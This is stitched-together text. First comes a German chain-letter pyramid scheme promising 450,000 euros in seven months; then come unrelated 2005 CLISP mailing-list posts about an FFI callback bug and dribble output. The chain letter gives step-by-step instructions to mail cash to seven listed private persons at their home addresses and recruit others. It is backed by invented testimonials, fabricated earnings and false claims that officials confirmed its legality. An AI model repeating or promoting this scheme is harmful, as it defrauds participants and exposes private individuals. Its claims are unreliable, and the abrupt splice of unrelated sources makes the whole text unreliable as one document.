Die Personen weiter unten auf der Liste sind ganz normale Personen wie Sie und ich, die sich auch entschieden haben an dem Programm teilzunehmen. Es gibt also keine Person "dazwischen" die noch Kohle einkassiert. Sie sind Ihr eigener Chef! 
Übrigens für alle Skeptiker: ich habe beim Gewerbeaufsichtsamt nochmals nachgefragt, es gibt definitiv rechtlich KEINE Einwände gegen dieses Programm!
Ich wünsche Ihnen genauso viel Erfolg und Spass wie ich bis jetzt damit habe!!!!!
>>> Wie aus 35 Euro 450.000 Euro und mehr werden - in 7 Monaten möglich !!!
Sehr geehrte Damen und Herren,
Wir distanzieren uns von allen bis jetzt da gewesenen, ähnlichen Programmen. Überzeugen Sie sich selbst. Den Grundgedanken haben wir gelassen, weil das Programm GOLD wert ist. Die Änderungen sind jetzt auf deutschsprachige Länder zugeschnitten (Gesetze, Verordnungen etc.).
Guten Tag!
Im Internet mit Ihrem PC von zu Hause Geld verdienen! Sie können innerhalb der nächsten 7 Monaten mehr als 450.000 ? erhalten, indem Sie kostenlos Werbung machen, erfahren Sie in einer Schritt für Schrittanweisung, die in den 7 E-Büchern stehen, die Sie per e-mail erhalten werden. Sie sind für jeden leicht verständlich geschrieben.
Bis 450.000 ? in nur 7 Monaten! Erscheint Ihnen das unmöglich? Lesen Sie weiter und erfahren Sie detailliert, wie das funktioniert.
Nein, - es gibt dabei keinen "Haken" !
Vielen Dank für Ihre Zeit und Ihr Interesse!
Wegen der Popularität dieses Briefes im Internet widmete ein bekanntes deutsches Nachrichtenmagazin eine komplette Sendung der Untersuchung des unten beschriebenen Programms, um herauszufinden ob es wirklich Geld bringt.

Diese Sendung prüfte auch, ob das Programm legal ist oder nicht. Dabei wurde herausgefunden, dass es keine Gesetze gibt, dass die Teilnahme an dem Programm verbietet. Dies hat dazu beigetragen zu zeigen, dass dies ein einfacher, harmloser Weg ist, zusätzlich Geld von zu Hause aus zu verdienen und bemerkenswerte Resultate gebracht..

Es nehmen so viele Menschen an diesem Programm teil, dass es für diejenigen, die schon dabei sind, noch besser läuft, als zuvor. Da jeder mehr verdient, je mehr Menschen es ausprobieren, war es in letzter Zeit sehr aufregend dabei zu sein. Das werden Sie verstehen, sobald Sie Erfahrungen sammeln.
************************************************************************************
Sie können sich das Folgende jetzt ausdrucken, um jederzeit darauf zurückzugreifen, in jedem Fall aber sicher aufbewahren, denn Sie werden das unglaubliche Konzept noch öfters lesen, d.h. wenn Sie gerne 450.000 ? in weniger als 7 Monaten verdienen möchten, dann lesen Sie das folgende Programm ... und dann lesen Sie es noch einmal!
Das Programm bietet eine legale Möglichkeit, Geld im Internet zu verdienen.
Dafür müssen Sie keinem etwas persönlich verkaufen, hart arbeiten und das Beste daran ist: Sie müssen nicht einmal das Haus verlassen. Sie werden eines Tages einen Kontostand erreichen, von dem Sie schon lange geträumt haben, ob Sie es wollen oder nicht!
Rezession: (Einer von vielen Anwendern dieser Geschäftsmöglichkeit)
Ich heiße Markus Weber. Vor zwei Jahren hat die Firma, für die ich die letzten 12 Jahre arbeitete, rationalisiert und ich wurde entlassen. Nach unergiebigen Vorstellungsgesprächen entschloss ich mich mein eigenes Geschäft aufzumachen.
In den vergangenen Jahren erlebte ich einige unvorhergesehene finanzielle Probleme. Ich schuldete meiner Familie, meinen Freunden und meinen Geldgebern mehr als 18.000 ?. Die Wirtschaftslage forderte ihren Tribut von meinem Geschäft und es gelang mir nicht, ein ausreichendes Auskommen zu finden. Ich musste refinanzieren und eine Hypothek aufnehmen, um meine Familie und mein Geschäft zu erhalten. In diesem Moment passierte etwas Entscheidendes in meinem Leben. Ich schreibe Ihnen dies, um meine Erfahrung zu teilen und bin sicher, dass es auch Ihr Leben finanziell für immer verändern wird!
Mitte März erhielt ich dieses Programm per E-Mail.
Noch sechs Monate vorher sah ich mich nach Informationen über verschiedene Geschäftsideen um. Alles, was ich erhielt, war in meinen Augen nicht profitabel. Entweder war es zu kompliziert für mich oder die Startsumme war zu hoch um das Risiko einzugehen, um nur zu sehen ob es läuft oder nicht. Eine Geschäftsidee behauptete, dass ich in einem Jahr eine Million verdienen würde... nur hatten sie mir nicht gesagt, dass ich dazu ein Buch schreiben müsste.
Aber, wie gesagt, im März 2003 erhielt ich dieses Programm. Ich hatte es nicht angefordert oder danach gefragt. Mein Name stand einfach auf einer Mailingliste. Gott sei Dank! Nachdem ich es mir mehrmals durchgelesen hatte, um sicherzugehen dass ich richtig verstanden hatte, traute ich meinen Augen nicht. Hier war ein Geld erzeugendes Phänomen. Um anzufangen konnte ich soviel wie ich wollte investieren, ohne mich weiter zu verschulden. Nachdem ich etwas zu schreiben holte und es durchrechnete, würde ich zumindest wesentlich mehr als meinen Einsatz wieder herausholen.
Ich begann mit der Werbemöglichkeit Nr. 23 (Kleinanzeigen) und inserierte in nur 80 kostenlosen Annoncenblätter. Ich verschickte dann auf die Anfragen diesen Werbetext per E-Mail.
Das wunderbare an E-Mail ist, dass es keine Druckkosten und keine Versandkosten gibt und da alle Bestellungen durch E-Mail-Versand erfüllt werden, ist der einzige Kostenfaktor meine eingesetzte Zeit. Ich sage Ihnen wie es ist, ich hoffe das schreckt Sie nicht ab, aber ich habe mir selbst versprochen, dass ich keinen über den Tisch ziehen würde, egal was es mich kosten würde.
In weniger als einer Woche begannen Bestellungen des E-Buches Nr.1 bei mir einzutreffen. Bis 13. April hatte ich 26 Bestellungen für E-Buch Nr.1 erhalten. Ihr Ziel ist es, innerhalb von zwei Wochen mindestens 20 Bestellungen für E-Buch Nr.1 zu erhalten. Falls Sie das nicht erreicht haben, verschicken Sie mehr Programme, solange bis Sie es erreicht haben. Dies war mein erster Schritt auf dem Weg zu den 450.000 ? in 7 Monaten.
Bis zum 5. Mai hatte ich 196 Bestellungen für E-Buch Nr.2. Ihr Ziel ist es, innerhalb von 4 Wochen mindestens 100 Bestellungen für E-Buch Nr.2 zu erhalten. Falls Sie das nicht erreicht haben, machen Sie solange weiter, bis Sie es erreicht haben. Wenn Sie die 100 Bestellungen haben, ist der Rest ganz leicht. Entspannen Sie sich, Sie werden mindestens 450.000 ? - Ziel erreichen.
Nun, ich hatte 196 Bestellungen für E-Buch Nr.2. - 96 mehr als ich brauchte. Ich lehnte mich also zurück und entspannte mich. Bis 25. Mai erhielt ich durch meine 1 x 80 kostenlos aufgegebenen Annoncen 70.000 ? und es kommt täglich mehr Geld dazu.
Ihre ganze Arbeit besteht darin, für dieses Programm zu werben.
Wo Sie Werbung machen, steht genauestens in den 7 E-Büchern (insgesamt 35 unterschiedliche kostenlose Werbemöglichkeiten) beschrieben.
Das ist wirklich alles!
Bitte nehmen Sie sich die Zeit, das nachfolgende Programm zu lesen, es wird Ihr Leben für immer verändern.
Denken Sie daran: Es wird nicht funktionieren, wenn Sie es nicht ausprobieren. Dieses Programm funktioniert, aber Sie müssen es g e n a u befolgen! Insbesondere die Vorschrift, Ihren Namen nicht auf einen anderen Platz in der Liste als angegeben zu setzen. Das wird nicht funktionieren und Sie verlieren enorm Geld! Damit dieses Programm funktionieren kann, müssen Sie Ihr Ziel von 20 Bestellungen für E-Buch Nr.1 und mindestens 100 Bestellungen für E-Buch Nr.2 erreichen, dann können Sie 450.000 ? oder mehr verdienen. Ich bin der lebende Beweis dafür, dass es funktioniert.
KONZENTRIEREN SIE SICH NUR AUF DAS
! ! ! ! ! ! ! ! ! EINE ZIEL ! ! ! ! ! ! ! ! !
Die meisten Menschen haben keine Erfolge, weil sie sich verzetteln!
Falls Sie sich gegen die Teilnahme an diesem Programm entscheiden, tut es mir leid. Es ist für Sie wirklich eine einmalige Chance mit wenig Risiko und wenigen Kosten. Falls Sie sich für die Teilnahme an dem Programm entscheiden, sind Sie auf dem Weg zu finanzieller Sicherheit. Wenn Sie auch ein Geschäftsmann sind und in finanziellen Schwierigkeiten, so wie ich es war oder Sie ein neues Geschäft anfangen, betrachten Sie das als ein Zeichen. Ich habe es so gemacht.
Mit freundlichen Grüßen
Markus Weber
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Eine persönliche Bemerkung vom Gründer dieses Programms:
Nachdem Sie das Programm und die beigefügten Texte gelesen haben, wird Ihnen klar geworden sein, dass ein solches Programm, noch dazu eines, das legal ist, nicht von einem Amateur geschaffen werden konnte. Sie haben gerade Informationen erhalten, die Ihnen für den Rest Ihres Lebens finanzielle Sicherheit geben können, ohne Risiko und mit einem Minimum an Einsatz. In den nächsten Monaten können Sie mehr Geld verdienen, als Sie sich bisher vorgestellt haben. Ich möchte herausstellen, dass ich keinen Pfennig dieses Geldes sehen werde, noch irgend jemand, der in dieser Information Autor ist. Ich habe schon über 2 Millionen ? verdient! Ich habe mich von dem Programm zurückgezogen. Nun besitze ich mehrere Büros, welche andere Programme hier und in Übersee leiten.
Folgen Sie den Anweisungen dieses Programms genauso wie vorgeschrieben. Verändern Sie es auf keinen Fall! Es arbeitet perfekt in der Form wie es Ihnen vorliegt. Schicken Sie jeder Person, die durch Ihre Werbemaßnahme nähere Informationen möchten diesen Werbebrief. Eine dieser Person wird vielleicht mehr als 80 Inserate aufgeben oder die Werbemöglichkeit Nr. 5 oder 28 nehmen ... und Ihr Name steht dann in allen Werbetexten.
Denken Sie auch daran: Je mehr Sie Werbung schalten, desto mehr potentielle Kunden erreichen Sie. In den 7 E-Büchern sind 35 unterschiedliche kostenlose Werbemöglichkeiten beschrieben, die für viele Millionen Programmteilnehmer ausreichen.
So, ich habe Ihnen nun die Idee, die Informationen, das Material und die Gelegenheit gegeben finanziell unabhängig zu werden - Jetzt sind Sie dran! "Denken Sie darüber nach!" Bevor Sie diesen Text löschen, nehmen Sie sich doch ein wenig Zeit und denken Sie wirklich einmal darüber nach. Nehmen Sie einen Stift und rechnen Sie sich aus, was passieren kann, wenn Sie teilnehmen. Rechnen Sie mit der geringsten Rücklaufquote und Sie werden sehen, dass Sie immer noch eine Menge Geld verdienen werden! Auf alle Fälle werden Sie das, was Sie investieren wieder zurückbekommen. Alle Zweifel, die Sie noch haben, werden verschwinden, wenn die ersten Bestellungen eintreffen. Es funktioniert !!!
Wolfgang Müller / München /BRD
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HIER IST DIE ANLEITUNG; WIE DIESES ERSTAUNLICHE PROGRAMM IHNEN TAUSENDE VERSCHAFFT !
Diese Methode Geld zu verdienen funktioniert jedes mal 100%-ig. Ich bin sicher, dass Sie 450.000 Euro oder mehr in den nächsten Monaten gut gebrauchen können. Bevor Sie jetzt sagen: "So ein Sch...!" lesen Sie bitte dieses Programm gründlich durch. Dies ist eine völlig legale Methode um Geld zu verdienen. Folgendes sollten Sie tun:
Wie bei allen Network-Marketing-Unternehmen bauen wir unser Geschäft auf, indem wir neue Partner gewinnen, die unser Produkt verkaufen. Für das Geld, was Sie einnehmen, verkaufen Sie eine Ware. Sie verkaufen E-Bücher. Das ist legal, denn es ist völlig egal, ob Sie Schuhe, Versicherungen oder E-Bücher verkaufen. Die Hauptsache ist, dass Sie überhaupt etwas verkaufen, für das Geld, was Sie erhalten.
Wegen der globalen Natur des Internet, werden Sie neue Network Geschäftspartner aus der ganzen Welt gewinnen können. Ihre Bestellungen kommen per Post und Sie erfüllen Sie per E-Mail, deshalb brauchen Sie keine persönlichen Verkaufsgespräche zu führen. Sie machen das zu Hause, in Ihren vier Wänden, im Büro oder im Geschäft. Das ist das größte Network-Marketing, dass es gibt.
Und so geht es:
1. Bestellen Sie alle 7 E-Bücher die unten auf der Liste stehen. Sie können die E-Bücher nicht verkaufen, wenn Sie diese nicht besitzen.
a.) Senden Sie für jedes E-Buch einen 5 Euro-Schein an die entsprechende Adresse. Sie verschicken also 7 Briefe an 7 unterschiedliche Adressen. Den 5 ? - Schein bitte in Papier einwickeln so ist er für die Post nicht sichtbar.
b.) Schreiben Sie auf Ihren 1. Bestellschein: Bitte senden sie mir das E-Buch Nr.1. Dann schreiben Sie bitte ganz deutlich Ihre E-Mailadresse, denn Sie erhalten die E-Bücher alle per E-Mail zugeschickt. Ihre E-Mailadresse muss funktionieren. Schreiben Sie nun noch Ihre genaue Postanschrift mit auf dem Bestellschein, falls es doch einmal mit Ihrer E-Mailadresse Schwierigkeiten geben sollte. Bei der 2., 3., 4., 5., 6. und 7. Bestellung verfahren Sie genauso wie oben beschrieben.
c.) nach einigen Tagen werden Sie per E-Mail alle E-Bücher erhalten. Speichern Sie diese auf Ihrem PC, damit Sie darauf zurückgreifen und diese an die Tausende Kunden verschicken können, welche bei Ihnen bestellen werden.
2. Wichtig:
Verändern Sie nicht die Namen oder Reihenfolge der Namen auf der Liste auf andere Art als nachfolgend unter 2.a bis 2.i beschrieben!!!!! Zuwiderhandlungen lässt Sie nur eine Menge Geld verlieren. Wenn Sie einmal verstanden haben, wie das Programm arbeitet, werden Sie auch verstehen, warum es nicht funktioniert, wenn Sie es verändern. Denken Sie daran, dieses Programm ist getestet und wenn Sie es verändern, wird es nicht funktionieren.
Konzentrieren Sie sich nur auf das EINE Ziel ! ! ! ! ! ! !
a.) Nehmen Sie die Liste der erhältlichen E-Bücher.
b.) Nachdem Sie die 7 E-Bücher bestellt haben, nehmen Sie diesen vorliegenden Text mit der Liste und entfernen Sie den Namen und die Adresse unter E-Buch Nr.7. Diese Person hat den Zyklus durchlaufen und zählt wahrscheinlich gerade die 450 000 ?.
c.) Verschieben Sie Name und Adresse unter E-Buch Nr. 6 nach unten zu E-Buch Nr. 7
d.) Verschieben Sie Name und Adresse unter E-Buch Nr. 5 nach unten zu E-Buch Nr. 6
e.) Verschieben Sie Name und Adresse unter E-Buch Nr. 4 nach unten zu E-Buch Nr. 5
f.) Verschieben Sie Name und Adresse unter E-Buch Nr. 3 nach unten zu E-Buch Nr. 4
g.) Verschieben Sie Name und Adresse unter E-Buch Nr. 2 nach unten zu E-Buch Nr. 3
h.) Verschieben Sie Name und Adresse unter E-Buch Nr. 1 nach unten zu E-Buch Nr. 2
i.) Fügen Sie jetzt Ihren Namen und Adresse an die Stelle unter E-Buch Nr.1 ein
Bitte achten Sie darauf Namen und Adresse korrekt zu übertragen!
3. Nehmen Sie den ganzen Werbetext von dieser Seite einschließlich der von Ihnen geänderten Namensliste und speichern Sie diesen auf Ihren PC.
Verändern Sie die Anleitung auf keinen Fall !!!
Sollten Sie Schwierigkeiten mit dem verschieben haben, dann drucken Sie sich alles aus, damit Sie es in gedruckter Form vor sich liegen haben. Öffnen Sie jetzt das Dokument, wo Sie diesen Werbetext gespeichert haben und löschen Sie bei jedem E-Buch die Adressen der jeweiligen Person. Jetzt schreiben Sie per Hand in der richtigen Reihenfolge, wie bei 2. beschrieben, die Adressen rein.
Ihre Startkosten sind minimal. Sie brauchen lediglich 35 ? als Startkapital. Offensichtlich besitzen Sie einen PC mit Internetanschluss und E-Mailadresse. Um Sie bei der Vermarktung Ihres Geschäfts im Internet zu unterstützen, haben wir 7 E-Bücher von unschätzbaren Wert zusammengestellt.
Nehmen Sie das, was in den E-Bücher steht ernst, dann erreichen Sie auch Ihr Ziel.
Außer Ihren Onlinegebühren entstehen Ihnen keine weitere Kosten.
Nehmen wir an, Sie entscheiden sich klein anzufangen, um zu sehen wie gut es läuft. Wir gehen davon aus, dass Ihr Ziel darin besteht, nur 5 Personen für Ihre erste Ebene zu werben. (Wenn Sie das anwenden, was in den 7 E-Bücher steht, werden Sie leicht viel mehr erreichen). Wir nehmen nun an, dass jeder in Ihrem Programm nur 5 weitere Teilnehmer wirbt. Folgen Sie der Beispielrechnung um den enormen Erfolg zu sehen:
1. Ebene - 5 Teilnehmer .......................... 25 ?
2. Ebene - 25 Teilnehmer ....................... 125 ?
3. Ebene - 125 Teilnehmer ........................ 625 ?
4. Ebene - 625 Teilnehmer ...................... 3125 ?
5. Ebene - 3125 Teilnehmer .................... 15625 ?
6. Ebene - 15625 Teilnehmer .....................78125 ?
7. Ebene - 78125 Teilnehmer ................... 390625 ?
Summe .................................................... 488275 ?
Wir haben angenommen, dass jeder Teilnehmer nur 5 weitere Teilnehmer anwirbt. Denken Sie einen Moment daran, was passiert, wenn Sie 20 Teilnehmer gewinnen. Manche werden 100 Teilnehmer und mehr gewinnen! Denken Sie darüber nach!
Für jeden 5 ? - Schein den Sie erhalten, müssen Sie nur das bestellte E-Buch per E-Mail versenden. Das ist alles! Versenden Sie immer am Tag der Bestellung! Sorgen Sie dafür, die E-Bücher als bald wie möglich zu verschicken, denn der Kunde kann erst mit dem Geschäft beginnen, wenn er Ihre E-Mail erhalten hat.
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** Bestellen Sie jedes E-Buch mit dem Titel und der Ordnungszahl ! (z.B.: E-Buch Nr. 1 --usw.) **
Senden Sie immer einen 5 ? - Schein. Senden Sie keinen Scheck! Senden Sie Ihre Bestellung mit normaler Briefpost.
Achten Sie darauf, dass der Geldschein eingepackt ist. Auf Ihrem Bestellschein schreiben Sie:
a.) Ordnungszahl und Titel des gewünschten E-Buches
b.) Ihre E-Mailadresse (bitte deutlich schreiben)
c.) Ihren Namen und Ihre Postanschrift.
Wie schon oben erwähnt, reichen die Werbemöglichkeiten, die in E-Buch Nr. 2 - 7 stehen, für viele Millionen Programmteilnehmer aus.
Bestellen Sie jetzt:
E-Buch Nr. 1:
Wie Sie eine Homepage erstellen (für Anfänger leicht verständlich geschrieben)
Sie bestellen dieses E-Buch für 5 ? bei:
Mandy Reinhardt
Moorkamp 51
D 30165 Hannover

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E-Buch Nr. 2:
kostenlose Werbemöglichkeiten Nr.1 - 6
Sie bestellen dieses E-Buch für 5 ? bei
Sandro Richter
Omptedastr. 27 E
D 30165 Hannover

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E-Buch Nr. 3:
kostenlose Werbemöglichkeiten Nr.7 - 12
Sie bestellen dieses E-Buch für 5 ? bei
Ronald Hentschel
Stieberstr. 36
D 02625 Bautzen

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E-Buch Nr. 4:
kostenlose Werbemöglichkeiten Nr.13 - 18
Sie bestellen dieses E-Buch für 5 ? bei:
Ilona Brytsche
Zittauer Str. 29
D 02681 Wilthen

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E-Buch Nr. 5:
kostenlose Werbemöglichkeiten Nr.19 - 24
Sie bestellen dieses E-Buch für 5 ? bei:
Andreas Trommler
Wilhelm-Busch Str. 16
D 74076 Heilbronn

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E-Buch Nr. 6:
kostenlose Werbemöglichkeiten Nr.25 - 30
Sie bestellen dieses E-Buch für 5 ? bei:
Mathias Hertwig 
Im Bruch. 14 
D - 77736 Zell a.H

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E-Buch Nr. 7:
kostenlose Werbemöglichkeiten Nr.31 - 36
Sie bestellen dieses E-Buch für 5 ? bei:
Manuela Richter
Bootsweg. 44
D - 23970 Wismar

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TIPS Für Ihren Erfolg
* Betrachten Sie dieses Programm als Ihr Geschäft!
* Seien Sie prompt professionell und folgen Sie den Anweisungen.
* Bestellen Sie die 7 E-Bücher JETZT GLEICH, damit Sie diese zur Verfügung haben, wenn die Bestellungen kommen. Sie müssen das Produkt sofort ausliefern bzw. versenden.
* Versenden Sie immer gleich am Tag der Bestellung.
* Seien Sie geduldig und ausdauernd bei der Anwendung dieses Programms.
Wenn Sie den Anweisungen genau folgen, wird Ihr Ergebnis ERFOLG sein!
Vor allem: Glauben Sie an sich selbst und seien Sie von Ihrem Erfolg überzeugt !
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ÜBRIGENS: >>>Momentan gibt es mehr als 175.000.000 Internet-Teilnehmer ! ! ! <<<
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>>> Die Leitlinien, die Ihnen Ihren Erfolg garantieren <<<
Folgen Sie diesen Leitlinien, die Ihnen Ihren Erfolg garantieren:
Falls Sie innerhalb der ersten zwei Wochen keine Bestellungen für E-Buch Nr.1 erhalten - was völlig außergewöhnlich wäre - , fahren Sie fort Werbung zu machen, solange, bis Sie 20 Bestellungen haben. Dann sollten Sie innerhalb von 4 Wochen mindestens 100 Bestellungen für E-Buch Nr.2 erhalten. Wenn nicht, dann fahren Sie fort, Werbung zu schalten bis Sie 100 Bestellungen haben. Wenn Sie 100 Bestellungen für E-Buch Nr.2 erreicht haben, können Sie sich zurücklehnen und entspannen, denn das Programm arbeitet nun bereits für sie und das Geld wird Ihnen zuströmen.
WICHTIGE ERINNERUNG: Jedes Mal, wenn Sie in der Liste einen Platz nach unten vorrücken, steht Ihr Name für ein anderes E-Buch. Sie können Ihren Fortschritt dadurch beobachten, indem Sie die Ordnungszahlen der bestellten E-Bücher beachten. Falls Sie mehr Einkommen erzeugen wollen, fahren Sie fort mit Werbung und starten so den ganzen Prozess von vorne! Es gibt keine Grenze für Ihr Einkommen, dass Sie durch dieses Programm erzeugen können! Bevor Sie sich entscheiden, ob Sie nun an diesem Programm teilnehmen oder nicht, beantworten Sie eine Frage: Wollen Sie Ihr Leben verändern? Wenn Sie "ja" antworten, schauen Sie sich bitte folgende Fakten über dieses Programm an:
1. Sie versenden ein Produkt, das keine Produktkosten hat.
2. Sie versenden ein Produkt das keine Transportkosten hat.
3. Sie versenden ein Produkt, das keine Werbekosten hat.
4. Sie versenden ein Produkt, welches Anderen hilfreich ist, um Geld zu verdienen.
5. Sie benutzen die Power des Internet und des Network-Marketings.
6. Die einzige Investition, außer Ihren 35 ? ist Ihre Zeit und die Onlinegebühren.
7. Fast alles Einkommen, dass Sie erzeugen ist reiner Profit.
Wir verdienen nur, wenn Sie verdienen
- und wir wollen verdienen ! ! !
Zeugnisse:
Dieses Programm funktioniert, aber Sie müssen es genau befolgen !
Insbesondere die Vorschrift nicht zu versuchen Ihren Namen an eine andere Stelle zu schreiben, denn das wird nicht funktionieren und Sie werden eine Menge an potentiellen Einkommen verlieren. Ich bin der lebende Beweis, dass es funktioniert. Es ist wirklich eine großartige Möglichkeit relativ leicht Geld zu machen ohne große Investitionen. Wenn Sie sich entscheiden teilzunehmen, folgen Sie dem Programm genau und Sie betreten den Weg zur finanziellen Sicherheit.
Michael Schiffer, Ostende, Germany
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Ich heiße Bernd. Meine Frau Judith und ich leben in Bayern. Ich arbeite im Rechnungswesen einer großen deutschen Firma und ich verdiene ganz gut. Als meine Frau das Programm erhielt, brummte ich einiges negatives gegenüber Network - Marketing. Ich machte mich über das ganze Ding lustig, indem ich mein Wissen über die Bevölkerung und die angegebenen Prozentzahlen ausbreitete. Ich "wusste", dass es nicht funktionieren würde. Judith ignorierte meine angebliche Intelligenz vollkommen und hat sofort losgelegt. Ich habe mich gnadenlos über Sie lustig gemacht und war bereit für das alte "Ich hab's dir ja gleich gesagt...", dass das Ding nicht laufen wird. Nun, sie hat zuletzt gelacht. Innerhalb von vier Wochen hatte sie über 120 Bestellungen. Innerhalb von 60 Tagen hatte sie bereits 20.000 ? in 5 ? -Scheinen erhalten! Ich war schockiert! Ich war sicher gewesen, alles genau berechnet zu haben und dass es nicht funktionieren würde. Ich wurde eines Besseren belehrt. Ich nehme nun an dem "Hobby" von Judith teil. Wir verdanken alles Network - Marketing.
In tiefer Dankbarkeit Euer Bernd Hoffmann, Bayern
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Der Grund für diesen Brief ist, Sie zu überzeugen, dass das Programm ehrlich, legal und extrem profitabel ist, sowie ein Weg eine Menge Geldes in kurzer Zeit zu bekommen. Es wurde mehrere male an mich herangetragen bevor ich es ausprobierte. Ich habe teilgenommen, nur um zu sehen, was man für den minimalen Einsatz und das minimale Geld, das erforderlich ist, zurück bekommt. Zu meiner Verblüffung erhielt ich 36.000 ? in den ersten 10 Wochen und es kommt von Tag zu Tag mehr Geld.
Mit freundlichen Grüßen, Petra Koch, Hamburg
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Da ich ein Spielertyp bin, brauche ich mehrere Wochen um mich zu entscheiden in diesem Programm mitzumachen. Konservativ, wie ich bin, entschied ich, dass die anfängliche Investition so gering war, dass es unmöglich wäre - zu wenige Bestellungen zu bekommen und wenigstens mein Geld zurückzubekommen. Ich war erstaunt als mein mittelgroßer Briefkasten gerammelt voll mit Bestellungen war. Zeitweise war er so überladen, dass ich die Post vom Briefträger holte. Ich werde dieses Jahr mehr verdienen als in den 10 Jahren zuvor. Das Schöne an der Sache ist, dass es egal ist, wo die Leute wohnen. Es gibt einfach keine bessere Investition mit besserem Gewinn.
Birgit Haas, Rheinland-Pfalz
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Ich hatte dieses Programm schon einmal erhalten. Ich habe es gelöscht, aber dann habe ich mir gedacht, ob ich es nicht besser ausprobiert hätte. Ich hatte natürlich keine Idee, wen ich kontaktieren sollte, um ein anderes Exemplar zu erhalten, so musste ich darauf warten, dass mir ein anderes Programm zugeschickt wurde.... 4 Monate vergingen, dann kam es... Dieses Mal habe ich es nicht gelöscht!... Ich habe mehr als 1.500.000 Franken beim ersten Versuch eingenommen.
Franz Heberle, Schweiz
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Das ist das dritte mal, dass ich an diesem Programm teilnehme. Wir haben unsere Jobs aufgegeben und werden uns bald ein Haus am Strand in der Südsee kaufen und von den Zinsen unseres Kapitals leben. Die einzige Art und Weise, wie dieses Programm für Sie arbeiten wird ist, dass Sie teilnehmen. Versäumen Sie diese goldene Gelegenheit nicht, Ihnen zuliebe und Ihrer Familie zuliebe. Viel Glück und fröhliches Geldausgeben!
Wolfgang Junger, Osnabrück
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Bestellen Sie die 7 E-Bücher noch heute und machen Sie die ersten Schritte auf den Weg zur finanziellen Freiheit. Jetzt sind SIE dran!
Entschiedene Handlung bringt kraftvolle Resultate ! ! !
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Hinweis:
Wenn Sie beim Beginn dieses Geschäfts Hilfe brauchen, bei der Einkommensteuer etc. rufen Sie einfach bei Ihrem Finanzamt an, welches Ihre Fragen beantworten wird oder besser: wenden Sie sich an Ihren Steuerberater.
Natürlich stehe auch ich Ihnen gerne zur Verfügung:
Ihre Einkünfte und Erfolge sind von Ihrer Aktivität abhängig. Dieser Text enthält keine ausdrückliche oder indirekte Garantien. Im Falle, dass festgestellt werden sollte, dass dieser Text in irgendeiner Art und Weise eine Garantie enthält, wird diese hiermit für ungültig erklärt. Einige Zeugnisse oder Einkommen, die hier in diesem Text aufgeführt werden, können Fakten sein oder unbeweisbar.
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Hello,

while trying to make more from included readline, I encountered a
problem that can be shown on this example:

(use-package 'ffi)
(def-call-out add-defun
  (:name "rl_add_defun")
  (:library :default)
  (:arguments (name c-string :in :malloc-free)
=09      (callback (c-function (:language :stdc)
=09=09=09 (:arguments (rep int) (char  int)))
=09       :in :malloc-free)
=09      (key int))
  (:language :stdc)
  (:return-type int))
(defun init ()
 (labels ((edit-history (key rep)
  (print key)
  (print rep)))
  (add-defun "edit-history" #'edit-history -1)))
(init)
(push #'init *init-hooks*)
(saveinitmem "foo")

That is, a function with callback to linux is defined and then called.
Now, this works fine when loaded (compiled or not), but when later
loaded from image, it makes problem when compiled:

$ clisp -norc  -C problem.lisp
$ clisp -q -M foo.mem

*** - FFI::FOREIGN-CALL-OUT: #<INVALID FOREIGN-POINTER #x00000000> comes fr=
om
      a previous Lisp session and is invalid
The following restarts are available:
SKIP           :R1      skip (SAVEINITMEM foo)
STOP           :R2      stop loading file /home/tomas/src/misc/problem.lisp
ABORT          :R3      ABORT
$ clisp -norc problem.lisp
$ clisp -q -M foo.mem
[1]>

When read-history is defined with defun, it makes same problem even
when not compiled.

Am I doing something that should not be done? Can I achieve the effect
otherwise?Even proper RTFM is welcome - I failed to find anything on
topic.

Tested with clisp 2.35, on various Linuxes.

Best regards,

Tomas Zellerin


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Hi,

> * Tomas Zellerin <mryyreva@tznvy.pbz> [2005-09-29 08:14:30 +0200]:
>
> while trying to make more from included readline, I encountered a
> problem that can be shown on this example:
>
> (use-package 'ffi)
> (def-call-out add-defun
>   (:name "rl_add_defun")
>   (:library :default)

try (:library "libreadline.so")

> *** - FFI::FOREIGN-CALL-OUT: #<INVALID FOREIGN-POINTER #x00000000> comes from
>       a previous Lisp session and is invalid

foreign pointers are updated when it is known what library they come from.

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> * Ron Olsson <byffba@pf.hpqnivf.rqh> [2005-09-16 15:10:03 -0700]:
>
> dribble behaves differently between clisp-2.33.2 and clisp-2.35.
>
> E.g., give the command
>
>    % clisp -q -i init.lisp -x '(test)'
>
> where init.lisp contains only
>
>    (defun test ()
>      (delete-file "zz") (dribble "zz") (format t "hi~%") (dribble))
>
> For clisp-2.33.2, all output goes to the file zz, which I think is the
> correct behavior.
>
> For clisp-2.35, the "hi" comes to the screen and zz contains only the
> start and finish of dribble lines, e.g.,
>    ;; Dribble of #<IO TERMINAL-STREAM> started 2005-09-16 14:26:53
>    ;; Dribble of #<IO TERMINAL-STREAM> finished 2005-09-16 14:26:53
>
> When I run either clisp interactively with
>
>    % clisp -q -i init.lisp
>
> and type (test), the output goes to file zz and the screen.
>
> Is the above difference in behavior a bug or is dribble's behavior
> implementation dependent?

the short and sweet answer is:

http://www.lisp.org/HyperSpec/Body/fun_dribble.html:
        dribble is intended primarily for interactive debugging; its
        effect cannot be relied upon when used in a program.

the longer answer ...
well, I will look at it ...

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Date: Thu Sep 29 09:24:31 2005
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Tomas Zellerin writes:
> Hello,
> 
> while trying to make more from included readline, I encountered a
> problem that can be shown on this example:
> 
> (use-package 'ffi)
> (def-call-out add-defun
>   (:name "rl_add_defun")
>   (:library :default)
>   (:arguments (name c-string :in :malloc-free)
> 	      (callback (c-function (:language :stdc)
> 			 (:arguments (rep int) (char  int)))
> 	       :in :malloc-free)
> 	      (key int))
>   (:language :stdc)
>   (:return-type int))
> (defun init ()
>  (labels ((edit-history (key rep)
>   (print key)
>   (print rep)))
>   (add-defun "edit-history" #'edit-history -1)))
> (init)
> (push #'init *init-hooks*)
> (saveinitmem "foo")
> 
> That is, a function with callback to linux is defined and then called.
> Now, this works fine when loaded (compiled or not), but when later
> loaded from image, it makes problem when compiled:
> 
> $ clisp -norc  -C problem.lisp
> $ clisp -q -M foo.mem
> 
> *** - FFI::FOREIGN-CALL-OUT: #<INVALID FOREIGN-POINTER #x00000000> comes from
>       a previous Lisp session and is invalid
> The following restarts are available:
> SKIP           :R1      skip (SAVEINITMEM foo)
> STOP           :R2      stop loading file /home/tomas/src/misc/problem.lisp
> ABORT          :R3      ABORT
> $ clisp -norc problem.lisp
> $ clisp -q -M foo.mem
> [1]>
> 
> When read-history is defined with defun, it makes same problem even
> when not compiled.
> 
> Am I doing something that should not be done? Can I achieve the effect
> otherwise?Even proper RTFM is welcome - I failed to find anything on
> topic.

